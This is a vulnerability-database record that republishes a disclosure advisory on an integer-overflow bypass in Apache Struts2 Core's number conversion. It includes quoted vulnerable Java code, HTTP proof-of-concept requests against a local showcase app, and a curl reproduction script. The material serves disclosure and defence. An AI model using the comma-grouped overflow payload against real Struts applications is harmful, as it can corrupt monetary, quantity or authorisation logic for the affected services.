GCVE-1988-2026-0535

Vulnerability from gna-1988 – Published: 2026-11-02 09:47 – Updated: 2026-11-02 09:47
VLAI
Title
Apache Struts2 Core Integer Overflow
Summary
Description Apache Struts2 Core version 7.4.0 and below fails to properly prevent integer overflows, causing wrap-arounds and other issues on a downstream forced casting into types smaller than `BigInteger`. Importantly, this finding underscores why all applications using Struts and other such platforms should perform their own input validation checks and not blindly assume that the upstream Struts2 code has done as such, but the finding also shows that input passed from the upstream provider may not faithfully represent what the user provided. Impact An attacker who can influence a parameter bound to a boxed `Byte`, `Short`, `Integer`, `Long`, or `Character` action property can submit a numeric string that is both out of range for the target type and formatted using the resolved locale's grouping separator (e.g. `"2,147,483,648"` under `en_US`) to make `isInRange` silently return `true` instead of correctly rejecting the value. Since the swallowed `NumberFormatException` never reaches the caller, execution proceeds into `DefaultTypeConverter.convertValue`, where the oversized value is narrowed with an unchecked cast such as `(int) longValue(value)`, silently wrapping it into the target type's range ("2,147,483,648" becomes `-2147483648` for an `Integer` field) instead of raising the `TypeConversionException` the overflow guard is supposed to produce. This lets a value the application assumes was range-validated reach downstream business logic as an unexpected negative, zero, or otherwise mismatched figure, which can corrupt quantity, monetary, identifier, or other numeric computations and any authorisation or business-rule decision that depends on the converted value being bounded and faithful to the caller's submitted intent. Examples Sample Code `NumberConverter.convertValue`, in `core/src/main/java/org/apache/struts2/conversion/impl/NumberConverter.java`, parses a request string using a grouping-aware `NumberFormat` and then calls `isInRange` with the original, still-grouped string to confirm the parsed value is within bounds for the target numeric type; `isInRange` re-parses that same grouped string with `new BigInteger`, and its `catch` block treats the resulting `NumberFormatException` as confirmation that the value is in range. Once `isInRange` has incorrectly reported that the value is acceptable, control returns to `NumberConverter.convertValue`, which delegates to `DefaultTypeConverter.convertValue`; for an `Integer`-typed target this narrows the value with an unchecked cast, producing the actual silent wraparound. ```java } else { if (stringValue.isEmpty()) { return null; } NumberFormat numFormat = NumberFormat.getInstance(getLocale(context)); ParsePosition parsePos = new ParsePosition(0); if (isIntegerType(toType)) { numFormat.setParseIntegerOnly(true); } numFormat.setGroupingUsed(true); Number number = numFormat.parse(stringValue, parsePos); if (parsePos.getIndex() != stringValue.length()) { throw new TypeConversionException("Unparseable number: \"" + stringValue + "\" at position " + parsePos.getIndex()); } else { if (!isInRange(number, stringValue, toType)) throw new TypeConversionException("Overflow or underflow casting: \"" + stringValue + "\" into class " + number.getClass().getName()); value = super.convertValue(context, number, toType); } } ``` Code snippet from `struts2-core`'s core/src/main/java/org/apache/struts2/conversion/impl/NumberConverter.java, lines 57-78 ```java } else if (int.class == toType || Integer.class == toType) { bigValue = new BigInteger(stringValue); lowerBound = BigInteger.valueOf(Integer.MIN_VALUE); upperBound = BigInteger.valueOf(Integer.MAX_VALUE); } else if (long.class == toType || Long.class == toType) { bigValue = new BigInteger(stringValue); lowerBound = BigInteger.valueOf(Long.MIN_VALUE); upperBound = BigInteger.valueOf(Long.MAX_VALUE); } else { throw new IllegalArgumentException("Unexpected numeric type: " + toType.getName()); } } catch (NumberFormatException e) { //shoult it fail here? BigInteger doesnt seem to be so nice parsing numbers as NumberFormat return true; } ``` Snippet from `struts2-core`'s core/src/main/java/org/apache/struts2/conversion/impl/NumberConverter.java, lines 209-222 ```java if ((toType == Integer.class) || (toType == Integer.TYPE)) result = (int) longValue(value); ``` Code snippet from `struts2-core`'s core/src/main/java/org/apache/struts2/conversion/impl/DefaultTypeConverter.java, lines 122-123, showing the casting to `int` that causes the wrap-around Sample Request-Response Pairs `org.apache.struts2.showcase.ajax.Example5Action`, reachable via `/showcase/showcase/ajax/example5.action`, exposes a boxed `Integer age` property behind a `@StrutsParameter`-annotated setter, so the overflow guard bypass in `struts2-core` is reachable through this action's ordinary input binding. The four live probes below, each issued on a freshly established session with devMode's `DebuggingInterceptor` set to `debug=command&expression=age` so that the bound value can be read straight off the per-request value stack, isolate the defect to the comma -- the first probe submits `Integer.MAX_VALUE + 1` with a grouping separator and receives the wrapped, unrelated negative value; the first control submits the identical magnitude without a comma and that is correctly rejected; the second control submits a genuinely in-range grouped value that converts correctly; and the third control submits a bare baseline value that converts correctly. ```http GET /showcase/showcase/ajax/example5.action?age=2%2C147%2C483%2C648&name=overflow-grouped-probe&debug=command&expression=age HTTP/1.1 Host: 127.0.0.1:8383 ``` A request containing a value too large to fit in an `int` -- `age=2,147,483,648` (`Integer.MAX_VALUE + 1`) ```http HTTP/1.1 200 Content-Type: text/plain;charset=ISO-8859-1 Content-Length: 11 -2147483648 ``` The server accepts the request and the parameter bypasses the overflow guard, is cast to an `int`, and wraps-around to `-2147483648` instead of raising a `TypeConversionException` ```http GET /showcase/showcase/ajax/example5.action?age=2147483648&name=overflow-ungrouped-control&debug=command&expression=age HTTP/1.1 Host: 127.0.0.1:8383 ``` A request containing a value too large to fit in an `int` -- `age=2147483648` -- but without a grouping separator ```http HTTP/1.1 200 Content-Type: text/html;charset=ISO-8859-1 Content-Length: 3154 <!-- ... --><html>...<title>Struts Problem Report</title>... ``` The server correctly rejects the value, catching the overflow ```http GET /showcase/showcase/ajax/example5.action?age=1%2C234&name=in-range-grouped-control&debug=command&expression=age HTTP/1.1 Host: 127.0.0.1:8383 ``` Control request -- `age=1,234` -- an in-range, comma-grouped number ```http HTTP/1.1 200 Content-Type: text/plain;charset=ISO-8859-1 Content-Length: 4 1234 ``` Response showing that numbers with commas that remain in-bounds stay as such and are properly interpreted ```http GET /showcase/showcase/ajax/example5.action?age=42&name=baseline-control&debug=command&expression=age HTTP/1.1 Host: 127.0.0.1:8383 ``` Control request -- `age=42` -- a bare baseline value ```http HTTP/1.1 200 Content-Type: text/plain;charset=ISO-8859-1 Content-Length: 2 42 ``` Response showing correct conversion, as one would expect Steps to Reproduce This is intended to run against a system using the showcase example. Remember that the issue is locale-aware, so your grouping may not be via commas. ```zsh #!/usr/bin/env zsh BASE_URL="http://127.0.0.1 :8383/showcase/showcase/ajax/example5.action" echo "=== Vulnerable probe: age=2,147,483,648 (Integer.MAX_VALUE + 1, comma-grouped) ===" curl -i -s --get \ --data-urlencode "age=2,147,483,648" \ --data-urlencode "name=overflow-grouped-probe" \ --data-urlencode "debug=command" \ --data-urlencode "expression=age" \ "$BASE_URL" echo "\n\n=== Control 1: age=2147483648 (identical magnitude, no grouping separator) ===" curl -i -s --get \ --data-urlencode "age=2147483648" \ --data-urlencode "name=overflow-ungrouped-control" \ --data-urlencode "debug=command" \ --data-urlencode "expression=age" \ "$BASE_URL" echo "\n\n=== Control 2: age=1,234 (genuinely in-range, comma-grouped) ===" curl -i -s --get \ --data-urlencode "age=1,234" \ --data-urlencode "name=in-range-grouped-control" \ --data-urlencode "debug=command" \ --data-urlencode "expression=age" \ "$BASE_URL" echo "\n\n=== Control 3: age=42 (bare baseline) ===" curl -i -s --get \ --data-urlencode "age=42" \ --data-urlencode "name=baseline-control" \ --data-urlencode "debug=command" \ --data-urlencode "expression=age" \ "$BASE_URL" ``` _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version CPE status
Apache Struts2 Core Affected: unknown
guessed Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Struts2 Core",
          "vendor": "Apache",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Daniel Owens via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Description\nApache Struts2 Core version 7.4.0 and below fails to properly prevent integer overflows, causing wrap-arounds and other \nissues on a downstream forced casting into types smaller than `BigInteger`.  Importantly, this finding underscores why \nall applications using Struts and other such platforms should perform their own input validation checks and not blindly \nassume that the upstream Struts2 code has done as such, but the finding also shows that input passed from the upstream \nprovider may not faithfully represent what the user provided.\n\nImpact\nAn attacker who can influence a parameter bound to a boxed `Byte`, `Short`, `Integer`, `Long`, or `Character` action \nproperty can submit a numeric string that is both out of range for the target type and formatted using the resolved \nlocale\u0027s grouping separator (e.g. `\"2,147,483,648\"` under `en_US`) to make `isInRange` silently return `true` instead \nof correctly rejecting the value.  Since the swallowed `NumberFormatException` never reaches the caller, execution \nproceeds into `DefaultTypeConverter.convertValue`, where the oversized value is narrowed with an unchecked cast such as \n`(int) longValue(value)`, silently wrapping it into the target type\u0027s range (\"2,147,483,648\" becomes `-2147483648` for \nan `Integer` field) instead of raising the `TypeConversionException` the overflow guard is supposed to produce.  This \nlets a value the application assumes was range-validated reach downstream business logic as an unexpected negative, \nzero, or otherwise mismatched figure, which can corrupt quantity, monetary, identifier, or other numeric computations \nand any authorisation or business-rule decision that depends on the converted value being bounded and faithful to the \ncaller\u0027s submitted intent.\n\nExamples\nSample Code\n`NumberConverter.convertValue`, in `core/src/main/java/org/apache/struts2/conversion/impl/NumberConverter.java`, parses \na request string using a grouping-aware `NumberFormat` and then calls `isInRange` with the original, still-grouped \nstring to confirm the parsed value is within bounds for the target numeric type; `isInRange` re-parses that same \ngrouped string with `new BigInteger`, and its `catch` block treats the resulting `NumberFormatException` as \nconfirmation that the value is in range.  Once `isInRange` has incorrectly reported that the value is acceptable, \ncontrol returns to `NumberConverter.convertValue`, which delegates to `DefaultTypeConverter.convertValue`; for an \n`Integer`-typed target this narrows the value with an unchecked cast, producing the actual silent wraparound.\n\n```java\n            } else {\n                if (stringValue.isEmpty()) {\n                    return null;\n                }\n                NumberFormat numFormat = NumberFormat.getInstance(getLocale(context));\n                ParsePosition parsePos = new ParsePosition(0);\n                if (isIntegerType(toType)) {\n                    numFormat.setParseIntegerOnly(true);\n                }\n                numFormat.setGroupingUsed(true);\n                Number number = numFormat.parse(stringValue, parsePos);\n\n                if (parsePos.getIndex() != stringValue.length()) {\n                    throw new TypeConversionException(\"Unparseable number: \\\"\" + stringValue + \"\\\" at position \"\n                        + parsePos.getIndex());\n                } else {\n                    if (!isInRange(number, stringValue, toType))\n                        throw new TypeConversionException(\"Overflow or underflow casting: \\\"\" + stringValue + \"\\\" into \nclass \" + number.getClass().getName());\n\n                    value = super.convertValue(context, number, toType);\n                }\n            }\n```\nCode snippet from `struts2-core`\u0027s core/src/main/java/org/apache/struts2/conversion/impl/NumberConverter.java, lines \n57-78\n\n```java\n            } else if (int.class == toType || Integer.class == toType) {\n                bigValue = new BigInteger(stringValue);\n                lowerBound = BigInteger.valueOf(Integer.MIN_VALUE);\n                upperBound = BigInteger.valueOf(Integer.MAX_VALUE);\n            } else if (long.class == toType || Long.class == toType) {\n                bigValue = new BigInteger(stringValue);\n                lowerBound = BigInteger.valueOf(Long.MIN_VALUE);\n                upperBound = BigInteger.valueOf(Long.MAX_VALUE);\n            } else {\n                throw new IllegalArgumentException(\"Unexpected numeric type: \" + toType.getName());\n            }\n        } catch (NumberFormatException e) {\n            //shoult it fail here? BigInteger doesnt seem to be so nice parsing numbers as NumberFormat\n            return true;\n        }\n```\nSnippet from `struts2-core`\u0027s core/src/main/java/org/apache/struts2/conversion/impl/NumberConverter.java, lines 209-222\n\n```java\nif ((toType == Integer.class) || (toType == Integer.TYPE))\n    result = (int) longValue(value);\n```\nCode snippet from `struts2-core`\u0027s core/src/main/java/org/apache/struts2/conversion/impl/DefaultTypeConverter.java, \nlines 122-123, showing the casting to `int` that causes the wrap-around\n\nSample Request-Response Pairs\n`org.apache.struts2.showcase.ajax.Example5Action`, reachable via `/showcase/showcase/ajax/example5.action`, exposes a \nboxed `Integer age` property behind a `@StrutsParameter`-annotated setter, so the overflow guard bypass in \n`struts2-core` is reachable through this action\u0027s ordinary input binding.  The four live probes below, each issued on a \nfreshly established session with devMode\u0027s `DebuggingInterceptor` set to `debug=command\u0026expression=age` so that the \nbound value can be read straight off the per-request value stack, isolate the defect to the comma -- the first probe \nsubmits `Integer.MAX_VALUE + 1` with a grouping separator and receives the wrapped, unrelated negative value; the first \ncontrol submits the identical magnitude without a comma and that is correctly rejected; the second control submits a \ngenuinely in-range grouped value that converts correctly; and the third control submits a bare baseline value that \nconverts correctly.\n\n```http\nGET \n/showcase/showcase/ajax/example5.action?age=2%2C147%2C483%2C648\u0026name=overflow-grouped-probe\u0026debug=command\u0026expression=age\n HTTP/1.1\nHost: 127.0.0.1:8383\n```\nA request containing a value too large to fit in an `int` -- `age=2,147,483,648` (`Integer.MAX_VALUE + 1`)\n\n```http\nHTTP/1.1 200\nContent-Type: text/plain;charset=ISO-8859-1\nContent-Length: 11\n\n-2147483648\n```\nThe server accepts the request and the parameter bypasses the overflow guard, is cast to an `int`, and wraps-around to \n`-2147483648` instead of raising a `TypeConversionException`\n\n```http\nGET /showcase/showcase/ajax/example5.action?age=2147483648\u0026name=overflow-ungrouped-control\u0026debug=command\u0026expression=age \nHTTP/1.1\nHost: 127.0.0.1:8383\n```\nA request containing a value too large to fit in an `int` -- `age=2147483648` -- but without a grouping separator\n\n```http\nHTTP/1.1 200\nContent-Type: text/html;charset=ISO-8859-1\nContent-Length: 3154\n\n\u003c!-- ... --\u003e\u003chtml\u003e...\u003ctitle\u003eStruts Problem Report\u003c/title\u003e...\n```\nThe server correctly rejects the value, catching the overflow\n\n```http\nGET /showcase/showcase/ajax/example5.action?age=1%2C234\u0026name=in-range-grouped-control\u0026debug=command\u0026expression=age \nHTTP/1.1\nHost: 127.0.0.1:8383\n```\nControl request -- `age=1,234` -- an in-range, comma-grouped number\n\n```http\nHTTP/1.1 200\nContent-Type: text/plain;charset=ISO-8859-1\nContent-Length: 4\n\n1234\n```\nResponse showing that numbers with commas that remain in-bounds stay as such and are properly interpreted\n\n```http\nGET /showcase/showcase/ajax/example5.action?age=42\u0026name=baseline-control\u0026debug=command\u0026expression=age HTTP/1.1\nHost: 127.0.0.1:8383\n```\nControl request -- `age=42` -- a bare baseline value\n\n```http\nHTTP/1.1 200\nContent-Type: text/plain;charset=ISO-8859-1\nContent-Length: 2\n\n42\n```\nResponse showing correct conversion, as one would expect\n\nSteps to Reproduce\nThis is intended to run against a system using the showcase example.  Remember that the issue is locale-aware, so your \ngrouping may not be via commas.\n\n```zsh\n#!/usr/bin/env zsh\n\nBASE_URL=\"http://127.0.0.1 :8383/showcase/showcase/ajax/example5.action\"\n\necho \"=== Vulnerable probe: age=2,147,483,648 (Integer.MAX_VALUE + 1, comma-grouped) ===\"\ncurl -i -s --get \\\n  --data-urlencode \"age=2,147,483,648\" \\\n  --data-urlencode \"name=overflow-grouped-probe\" \\\n  --data-urlencode \"debug=command\" \\\n  --data-urlencode \"expression=age\" \\\n  \"$BASE_URL\"\n\necho \"\\n\\n=== Control 1: age=2147483648 (identical magnitude, no grouping separator) ===\"\ncurl -i -s --get \\\n  --data-urlencode \"age=2147483648\" \\\n  --data-urlencode \"name=overflow-ungrouped-control\" \\\n  --data-urlencode \"debug=command\" \\\n  --data-urlencode \"expression=age\" \\\n  \"$BASE_URL\"\n\necho \"\\n\\n=== Control 2: age=1,234 (genuinely in-range, comma-grouped) ===\"\ncurl -i -s --get \\\n  --data-urlencode \"age=1,234\" \\\n  --data-urlencode \"name=in-range-grouped-control\" \\\n  --data-urlencode \"debug=command\" \\\n  --data-urlencode \"expression=age\" \\\n  \"$BASE_URL\"\n\necho \"\\n\\n=== Control 3: age=42 (bare baseline) ===\"\ncurl -i -s --get \\\n  --data-urlencode \"age=42\" \\\n  --data-urlencode \"name=baseline-control\" \\\n  --data-urlencode \"debug=command\" \\\n  --data-urlencode \"expression=age\" \\\n  \"$BASE_URL\"\n```\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T09:47:24Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/4"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Nov/4"
        },
        {
          "url": "http://127.0.0.1"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Nov/4"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Apache Struts2 Core Integer Overflow",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0535",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/4",
            "automated": true,
            "contentSha256": "583dfe749702b67a9da19a3e0eccc51f4322c13b628fe6abeaac5818c1f388f2",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/4",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-10-29T14:52:23Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T09:47:24Z",
    "dateUpdated": "2026-11-02T09:47:24Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0535"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.